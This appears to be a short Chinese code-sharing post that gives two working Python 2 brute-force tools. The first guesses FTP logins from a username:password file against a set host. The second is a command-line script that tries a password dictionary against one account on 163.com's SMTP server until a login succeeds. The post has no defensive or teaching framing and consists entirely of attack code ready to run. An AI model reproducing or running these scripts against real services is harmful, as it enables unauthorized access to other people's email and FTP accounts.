1. 破解ftp:
import ftplib
def bruteLogin(hostname,passwdFile):
pF=open(passwdFile,'r')
for line in pF.readlines():
userName=line.split(':')[0]
passWord=line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying: "+userName+"/"+passWord
try:
ftp=ftplib.FTP(hostname)
ftp.login(userName,passWord)
print '\n[*] '+str(hostname)+\
' FTP Logon Succeeded: '+userName+"/"+passWord
ftp.quit()
return (userName,passWord)
except Exception,e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None,None)
host='192.168.182.135'
passwdFile='userpass.txt'
bruteLogin(host,passwdFile)
2. 破解邮箱的:
#!/usr/bin/env python
#coding:utf-8
from smtplib import SMTP as smtp
import optparse
import time
def scanemail(uname,upass):
s=smtp("smtp.163.com")
try:
s.ehlo() #发送ehlo命令,
s.starttls() #初始化加密通道
s.ehlo() #再次发送ehlo,这次是加密的
s.login(uname,upass)
except Exception,LoginError:
print "[-]:%s : %s" %(uname,upass)
else:
out="[+]:%s : %s" %(uname,upass) #如果成功了,就返回真值
print out
return True
return False
def main():
parser=optparse.OptionParser("usage: ./prog.py"+"-u <username> -d <passwordfile>")
parser.add_option('-u',dest='uname',type='string',help='specify email name')
parser.add_option('-d',dest='passwdfile',type='string',help='specify dictionary file')
(options,args)=parser.parse_args()
if (options.uname==None) | (options.passwdfile==None):
print parser.usage
exit(0)
else:
uname=options.uname
passwdfile=options.passwdfile
passFile=open(passwdfile)
for line in passFile.readlines():
password=line.strip('\n')
if scanemail(uname,password):
break
if __name__=='__main__':
main()